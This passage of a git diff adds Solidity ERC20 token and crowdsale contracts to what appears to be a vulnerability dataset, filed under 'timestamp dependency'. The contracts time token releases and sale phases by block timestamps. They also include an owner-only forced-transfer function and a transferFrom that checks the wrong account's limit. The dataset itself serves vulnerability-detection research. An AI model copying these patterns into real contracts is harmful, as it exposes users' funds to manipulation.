nonMemberBalance = balances[currentNonMember]; + if (nonMemberBalance > 0) { + uint256 multiplier2 = nonMemberBalance.mul(splitFactor); + uint256 increaseNonMemberSupplyBy = multiplier2.sub(nonMemberBalance); + balances[currentNonMember] = multiplier2; + emit Transfer(address(0), currentNonMember, increaseNonMemberSupplyBy); + } + } + emit SplitTokens(splitFactor); + return true; + } + + function reverseSplitTokensAfterDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + reverseSplitTokensBeforeDistribution(splitFactor); + uint256 n = allMembers.length; + for (uint256 i = 0; i < n; i++) { + address currentMember = allMembers[i]; + uint256 memberBalance = balances[currentMember]; + if (memberBalance > 0) { + uint256 divier1 = memberBalance.div(splitFactor); + uint256 decreaseMemberSupplyBy = memberBalance.sub(divier1); + balances[currentMember] = divier1; + emit Transfer(currentMember, address(0), decreaseMemberSupplyBy); + } + } + n = allNonMembers.length; + for (i = 0; i < n; i++) { + address currentNonMember = allNonMembers[i]; + + if (members[currentNonMember].exists) { + continue; + } + uint256 nonMemberBalance = balances[currentNonMember]; + if (nonMemberBalance > 0) { + uint256 divier2 = nonMemberBalance.div(splitFactor); + uint256 decreaseNonMemberSupplyBy = nonMemberBalance.sub(divier2); + balances[currentNonMember] = divier2; + emit Transfer(currentNonMember, address(0), decreaseNonMemberSupplyBy); + } + } + emit ReverseSplitTokens(splitFactor); + return true; + } + + function changeMaxContribution(address memberAddress, uint256 newMax1) public onlyOwner { + + Member storage theMember = members[memberAddress]; + require(theMember.exists); + theMember.max1 = newMax1; + } + + function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) canTransfer returns (bool success) { + + Member storage fromMember = members[msg.sender]; + if (fromMember.exists) { + int256 transferValue = fromMember.transferred + int(_value); + require(transferValue >= fromMember.transferred); + require(transferValue <= int(getUnlockedBalanceLimit(msg.sender))); + fromMember.transferred = transferValue; + } + + + if (!fromMember.exists && msg.sender != owner) { + bool fromTransferee = nonMemberTransfers[msg.sender]; + if (!fromTransferee) { + nonMemberTransfers[msg.sender] = true; + allNonMembers.push(msg.sender); + } + } + if (!members[_to].exists && _to != owner) { + bool toTransferee = nonMemberTransfers[_to]; + if (!toTransferee) { + nonMemberTransfers[_to] = true; + allNonMembers.push(_to); + } + } else if (members[_to].exists) { + int256 transferInValue = members[_to].transferred - int(_value); + require(transferInValue <= members[_to].transferred); + members[_to].transferred = transferInValue; + } + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) canTransfer returns (bool success) { + + Member storage fromMember = members[_from]; + if (fromMember.exists) { + int256 transferValue = fromMember.transferred + int(_value); + require(transferValue >= fromMember.transferred); + require(transferValue <= int(getUnlockedBalanceLimit(msg.sender))); + fromMember.transferred = transferValue; + } + + + if (!fromMember.exists && _from != owner) { + bool fromTransferee = nonMemberTransfers[_from]; + if (!fromTransferee) { + nonMemberTransfers[_from] = true; + allNonMembers.push(_from); + } + } + if (!members[_to].exists && _to != owner) { + bool toTransferee = nonMemberTransfers[_to]; + if (!toTransferee) { + nonMemberTransfers[_to] = true; + allNonMembers.push(_to); + } + } else if (members[_to].exists) { + int256 transferInValue = members[_to].transferred - int(_value); + require(transferInValue <= members[_to].transferred); + members[_to].transferred = transferInValue; + } + return super.transferFrom(_from, _to, _value); + } + + function setOpenGroup(uint256 groupNumber) public onlyOwner returns (bool success) { + require(groupNumber < nextGroupNumber); + openGroupNumber = groupNumber; + return true; + } + + function getUndistributedBalanceOf(address walletAddress, uint256 groupNumber) public view returns (uint256 balance) { + Member storage theMember = members[walletAddress]; + require(theMember.exists); + if (groups[groupNumber].distributed) + return 0; + return theMember.tokenBalance[groupNumber]; + } + + function checkMyUndistributedBalance(uint256 groupNumber) public view returns (uint256 balance) { + return getUndistributedBalanceOf(msg.sender, groupNumber); + } + + function transferRecovery(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) { + + allowed[_from][msg.sender] = allowed[_from][msg.sender].add(_value); + Member storage fromMember = members[_from]; + if (fromMember.exists) { + int256 oldTransferred = fromMember.transferred; + fromMember.transferred -= int(_value); + require(oldTransferred >= fromMember.transferred); + } + return transferFrom(_from, _to, _value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6596.sol b/smart_contract_dataset/timestamp dependency/6596.sol new file mode 100644 index 0000000000000000000000000000000000000000..f3a9d1c3ec7551276da631293c5ce58a32f52682 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6596.sol @@ -0,0 +1,549 @@ + + +pragma solidity ^0.4.21; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + balances[_to] = balances[_to].add(_amount); + Mint(_to, _amount); + Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + MintFinished(); + return true; + } +} + + + +contract FreezableToken is StandardToken { + + mapping (bytes32 => uint64) internal chains; + + mapping (bytes32 => uint) internal freezings; + + mapping (address => uint) internal freezingBalance; + + event Freezed(address indexed to, uint64 release, uint amount); + event Released(address indexed owner, uint amount); + + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner) + freezingBalance[_owner]; + } + + + function actualBalanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner); + } + + function freezingBalanceOf(address _owner) public view returns (uint256 balance) { + return freezingBalance[_owner]; + } + + + function freezingCount(address _addr) public view returns (uint count) { + uint64 release = chains[toKey(_addr, 0)]; + while (release != 0) { + count ++; + release = chains[toKey(_addr, release)]; + } + } + + + function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { + for (uint i = 0; i < _index + 1; i ++) { + _release = chains[toKey(_addr, _release)]; + if (_release == 0) { + return; + } + } + _balance = freezings[toKey(_addr, _release)]; + } + + + function freezeTo(address _to, uint _amount, uint64 _until) public { + require(_to != address(0)); + require(_amount <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Transfer(msg.sender, _to, _amount); + emit Freezed(_to, _until, _amount); + } + + + function releaseOnce() public { + bytes32 headKey = toKey(msg.sender, 0); + uint64 head = chains[headKey]; + require(head != 0); + require(uint64(block.timestamp) > head); + bytes32 currentKey = toKey(msg.sender, head); + + uint64 next = chains[currentKey]; + + uint amount = freezings[currentKey]; + delete freezings[currentKey]; + + balances[msg.sender] = balances[msg.sender].add(amount); + freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); + + if (next == 0) { + delete chains[headKey]; + } + else { + chains[headKey] = next; + delete chains[currentKey]; + } + emit Released(msg.sender, amount); + } + + + function releaseAll() public returns (uint tokens) { + uint release; + uint balance; + (release, balance) = getFreezing(msg.sender, 0); + while (release != 0 && block.timestamp > release) { + releaseOnce(); + tokens += balance; + (release, balance) = getFreezing(msg.sender, 0); + } + } + + function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { + + result = 0x5749534800000000000000000000000000000000000000000000000000000000; + assembly { + result := or(result, mul(_addr, 0x10000000000000000)) + result := or(result, _release) + } + } + + function freeze(address _to, uint64 _until) internal { + require(_until > block.timestamp); + bytes32 key = toKey(_to, _until); + bytes32 parentKey = toKey(_to, uint64(0)); + uint64 next = chains[parentKey]; + + if (next == 0) { + chains[parentKey] = _until; + return; + } + + bytes32 nextKey = toKey(_to, next); + uint parent; + + while (next != 0 && _until > next) { + parent = next; + parentKey = nextKey; + + next = chains[nextKey]; + nextKey = toKey(_to, next); + } + + if (_until == next) { + return; + } + + if (next != 0) { + chains[key] = next; + } + + chains[parentKey] = _until; + } +} + + + +contract ERC223Receiver { + + function tokenFallback(address _from, uint _value, bytes _data) public; +} + +contract ERC223Basic is ERC20Basic { + function transfer(address to, uint value, bytes data) public returns (bool); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} + + +contract SuccessfulERC223Receiver is ERC223Receiver { + event Invoked(address from, uint value, bytes data); + + function tokenFallback(address _from, uint _value, bytes _data) public { + emit Invoked(_from, _value, _data); + } +} + +contract FailingERC223Receiver is ERC223Receiver { + function tokenFallback(address, uint, bytes) public { + revert(); + } +} + +contract ERC223ReceiverWithoutTokenFallback { +} + + +contract BurnableToken is StandardToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + require(_value > 0); + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(burner, _value); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + + + +contract FreezableMintableToken is FreezableToken, MintableToken { + + function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + emit Mint(_to, _amount); + emit Freezed(_to, _until, _amount); + emit Transfer(msg.sender, _to, _amount); + return true; + } +} + +contract Consts { + uint constant TOKEN_DECIMALS = 2; + uint8 constant TOKEN_DECIMALS_UINT8 = 2; + uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; + + string constant TOKEN_NAME = "criptium"; + string constant TOKEN_SYMBOL = "CRIP"; + bool constant PAUSED = false; + address constant TARGET_USER = 0x26a8cA94E953500e03218A3289a533A6484a77b7; + + bool constant CONTINUE_MINTING = true; +} + + + + + +contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { + using SafeMath for uint; + + + function transfer(address _to, uint _value, bytes _data) public returns (bool) { + + + uint codeLength; + + assembly { + + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength > 0) { + ERC223Receiver receiver = ERC223Receiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + emit Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + bytes memory empty; + return transfer(_to, _value, empty); + } +} + + +contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable + +{ + + event Initialized(); + bool public initialized = false; + + function MainToken() public { + init(); + transferOwnership(TARGET_USER); + } + + function init() private { + require(!initialized); + initialized = true; + + if (PAUSED) { + pause(); + } + + + + if (!CONTINUE_MINTING) { + finishMinting(); + } + + emit Initialized(); + } + + + function name() pure public returns (string _name) { + return TOKEN_NAME; + } + + function symbol() pure public returns (string _symbol) { + return TOKEN_SYMBOL; + } + + function decimals() pure public returns (uint8 _decimals) { + return TOKEN_DECIMALS_UINT8; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transferFrom(_from, _to, _value); + } + + function transfer(address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transfer(_to, _value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6604.sol b/smart_contract_dataset/timestamp dependency/6604.sol new file mode 100644 index 0000000000000000000000000000000000000000..349d9bd9dbcfd3391ac0851a1071f119e13a19c4 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6604.sol @@ -0,0 +1,864 @@ +pragma solidity 0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + ERC20 public token; + + + address public wallet; + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + + + function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { + require(_rate > 0); + require(_wallet != address(0)); + require(_token != address(0)); + + rate = _rate; + wallet = _wallet; + token = _token; + } + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + + + + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + require(_beneficiary != address(0)); + require(_weiAmount != 0); + } + + + function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + + } + + + function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { + token.transfer(_beneficiary, _tokenAmount); + } + + + function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { + _deliverTokens(_beneficiary, _tokenAmount); + } + + + function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { + + } + + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + return _weiAmount.mul(rate); + } + + + function _forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + + +contract TimedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public openingTime; + uint256 public closingTime; + + + modifier onlyWhileOpen { + + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + + function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { + + require(_openingTime >= block.timestamp); + require(_closingTime >= _openingTime); + + openingTime = _openingTime; + closingTime = _closingTime; + } + + + function hasClosed() public view returns (bool) { + + return block.timestamp > closingTime; + } + + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { + super._preValidatePurchase(_beneficiary, _weiAmount); + } + +} + + + + +contract FinalizableCrowdsale is TimedCrowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasClosed()); + + finalization(); + emit Finalized(); + + isFinalized = true; + } + + + function finalization() internal { + } + +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + + +contract MintedCrowdsale is Crowdsale { + + + function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { + require(MintableToken(token).mint(_beneficiary, _tokenAmount)); + } +} + + + + + +contract PostKYCCrowdsale is Crowdsale, Ownable { + + struct Investment { + bool isVerified; + uint totalWeiInvested; + + uint pendingTokenAmount; + } + + + uint public pendingWeiAmount = 0; + + + mapping(address => Investment) public investments; + + + + event InvestorVerified(address investor); + + + + + event TokensDelivered(address investor, uint amount); + + + + + event InvestmentWithdrawn(address investor, uint value); + + + + function verifyInvestors(address[] _investors) public onlyOwner { + for (uint i = 0; i < _investors.length; ++i) { + address investor = _investors[i]; + Investment storage investment = investments[investor]; + + if (!investment.isVerified) { + investment.isVerified = true; + + emit InvestorVerified(investor); + + uint pendingTokenAmount = investment.pendingTokenAmount; + + if (pendingTokenAmount > 0) { + investment.pendingTokenAmount = 0; + + _forwardFunds(investment.totalWeiInvested); + _deliverTokens(investor, pendingTokenAmount); + + emit TokensDelivered(investor, pendingTokenAmount); + } + } + } + } + + + + function withdrawInvestment() public { + Investment storage investment = investments[msg.sender]; + + require(!investment.isVerified); + + uint totalWeiInvested = investment.totalWeiInvested; + + require(totalWeiInvested > 0); + + investment.totalWeiInvested = 0; + investment.pendingTokenAmount = 0; + + pendingWeiAmount = pendingWeiAmount.sub(totalWeiInvested); + + msg.sender.transfer(totalWeiInvested); + + emit InvestmentWithdrawn(msg.sender, totalWeiInvested); + + assert(pendingWeiAmount <= address(this).balance); + } + + + + + function _preValidatePurchase(address _beneficiary, uint _weiAmount) internal { + + require(_beneficiary == msg.sender); + + super._preValidatePurchase(_beneficiary, _weiAmount); + } + + + + function _processPurchase(address, uint _tokenAmount) internal { + Investment storage investment = investments[msg.sender]; + investment.totalWeiInvested = investment.totalWeiInvested.add(msg.value); + + if (investment.isVerified) { + + _deliverTokens(msg.sender, _tokenAmount); + emit TokensDelivered(msg.sender, _tokenAmount); + } else { + + investment.pendingTokenAmount = investment.pendingTokenAmount.add(_tokenAmount); + pendingWeiAmount = pendingWeiAmount.add(msg.value); + } + } + + + function _forwardFunds() internal { + + + if (investments[msg.sender].isVerified) { + super._forwardFunds(); + } + } + + + + function _forwardFunds(uint _weiAmount) internal { + pendingWeiAmount = pendingWeiAmount.sub(_weiAmount); + wallet.transfer(_weiAmount); + } + + + + function _postValidatePurchase(address, uint _weiAmount) internal { + super._postValidatePurchase(msg.sender, _weiAmount); + + assert(pendingWeiAmount <= address(this).balance); + } + +} + + + + +contract BurnableToken is BasicToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + _burn(msg.sender, _value); + } + + function _burn(address _who, uint256 _value) internal { + require(_value <= balances[_who]); + + + + balances[_who] = balances[_who].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + emit Burn(_who, _value); + emit Transfer(_who, address(0), _value); + } +} + + + + +contract CappedToken is MintableToken { + + uint256 public cap; + + function CappedToken(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + require(totalSupply_.add(_amount) <= cap); + + return super.mint(_to, _amount); + } + +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +contract PausableToken is StandardToken, Pausable { + + function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { + return super.transferFrom(_from, _to, _value); + } + + function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { + return super.approve(_spender, _value); + } + + function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { + return super.increaseApproval(_spender, _addedValue); + } + + function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { + return super.decreaseApproval(_spender, _subtractedValue); + } +} + + + + + +contract VreoToken is CappedToken, PausableToken, BurnableToken { + + uint public constant TOTAL_TOKEN_CAP = 700000000e18; + + string public name = "MERO Token"; + string public symbol = "MERO"; + uint8 public decimals = 18; + + + constructor() public CappedToken(TOTAL_TOKEN_CAP) { + pause(); + } + +} + + + + + +contract VreoTokenSale is PostKYCCrowdsale, FinalizableCrowdsale, MintedCrowdsale { + + + uint public constant TOTAL_TOKEN_CAP_OF_SALE = 450000000e18; + + + uint public constant TOKEN_SHARE_OF_TEAM = 85000000e18; + uint public constant TOKEN_SHARE_OF_ADVISORS = 58000000e18; + uint public constant TOKEN_SHARE_OF_LEGALS = 57000000e18; + uint public constant TOKEN_SHARE_OF_BOUNTY = 50000000e18; + + + uint public constant BONUS_PCT_IN_ICONIQ_SALE = 30; + uint public constant BONUS_PCT_IN_VREO_SALE_PHASE_1 = 20; + uint public constant BONUS_PCT_IN_VREO_SALE_PHASE_2 = 10; + + + uint public constant ICONIQ_SALE_OPENING_TIME = 1531123200; + uint public constant ICONIQ_SALE_CLOSING_TIME = 1532376000; + uint public constant VREO_SALE_OPENING_TIME = 1533369600; + uint public constant VREO_SALE_PHASE_1_END_TIME = 1533672000; + uint public constant VREO_SALE_PHASE_2_END_TIME = 1534276800; + uint public constant VREO_SALE_CLOSING_TIME = 1535832000; + uint public constant KYC_VERIFICATION_END_TIME = 1537041600; + + + uint public constant ICONIQ_TOKENS_NEEDED_PER_INVESTED_WEI = 450; + + + ERC20Basic public iconiqToken; + + + address public teamAddress; + address public advisorsAddress; + address public legalsAddress; + address public bountyAddress; + + + uint public remainingTokensForSale; + + + + event RateChanged(uint newRate); + + + + + + + + + + + constructor( + VreoToken _token, + uint _rate, + ERC20Basic _iconiqToken, + address _teamAddress, + address _advisorsAddress, + address _legalsAddress, + address _bountyAddress, + address _wallet + ) + public + Crowdsale(_rate, _wallet, _token) + TimedCrowdsale(ICONIQ_SALE_OPENING_TIME, VREO_SALE_CLOSING_TIME) + { + + require(_token.cap() >= TOTAL_TOKEN_CAP_OF_SALE + + TOKEN_SHARE_OF_TEAM + + TOKEN_SHARE_OF_ADVISORS + + TOKEN_SHARE_OF_LEGALS + + TOKEN_SHARE_OF_BOUNTY); + + + require(address(_iconiqToken) != address(0) + && _teamAddress != address(0) + && _advisorsAddress != address(0) + && _legalsAddress != address(0) + && _bountyAddress != address(0)); + + iconiqToken = _iconiqToken; + teamAddress = _teamAddress; + advisorsAddress = _advisorsAddress; + legalsAddress = _legalsAddress; + bountyAddress = _bountyAddress; + + remainingTokensForSale = TOTAL_TOKEN_CAP_OF_SALE; + } + + + + + function distributePresale(address[] _investors, uint[] _amounts) public onlyOwner { + require(!hasClosed()); + require(_investors.length == _amounts.length); + + uint totalAmount = 0; + + for (uint i = 0; i < _investors.length; ++i) { + VreoToken(token).mint(_investors[i], _amounts[i]); + totalAmount = totalAmount.add(_amounts[i]); + } + + require(remainingTokensForSale >= totalAmount); + remainingTokensForSale = remainingTokensForSale.sub(totalAmount); + } + + + + function setRate(uint _newRate) public onlyOwner { + + + require(rate / 10 < _newRate && _newRate < 10 * rate); + + rate = _newRate; + + emit RateChanged(_newRate); + } + + + function withdrawInvestment() public { + require(hasClosed()); + + super.withdrawInvestment(); + } + + + + function iconiqSaleOngoing() public view returns (bool) { + return ICONIQ_SALE_OPENING_TIME <= now && now <= ICONIQ_SALE_CLOSING_TIME; + } + + + + function vreoSaleOngoing() public view returns (bool) { + return VREO_SALE_OPENING_TIME <= now && now <= VREO_SALE_CLOSING_TIME; + } + + + + + function getIconiqMaxInvestment(address _investor) public view returns (uint) { + uint iconiqBalance = iconiqToken.balanceOf(_investor); + uint prorataLimit = iconiqBalance.div(ICONIQ_TOKENS_NEEDED_PER_INVESTED_WEI); + + + require(prorataLimit >= investments[_investor].totalWeiInvested); + return prorataLimit.sub(investments[_investor].totalWeiInvested); + } + + + + + function _preValidatePurchase(address _beneficiary, uint _weiAmount) internal { + super._preValidatePurchase(_beneficiary, _weiAmount); + + require(iconiqSaleOngoing() && getIconiqMaxInvestment(msg.sender) >= _weiAmount || vreoSaleOngoing()); + } + + + + + function _getTokenAmount(uint _weiAmount) internal view returns (uint) { + uint tokenAmount = super._getTokenAmount(_weiAmount); + + if (now <= ICONIQ_SALE_CLOSING_TIME) { + return tokenAmount.mul(100 + BONUS_PCT_IN_ICONIQ_SALE).div(100); + } + + if (now <= VREO_SALE_PHASE_1_END_TIME) { + return tokenAmount.mul(100 + BONUS_PCT_IN_VREO_SALE_PHASE_1).div(100); + } + + if (now <= VREO_SALE_PHASE_2_END_TIME) { + return tokenAmount.mul(100 + BONUS_PCT_IN_VREO_SALE_PHASE_2).div(100); + } + + return tokenAmount; + } + + + + + function _deliverTokens(address _beneficiary, uint 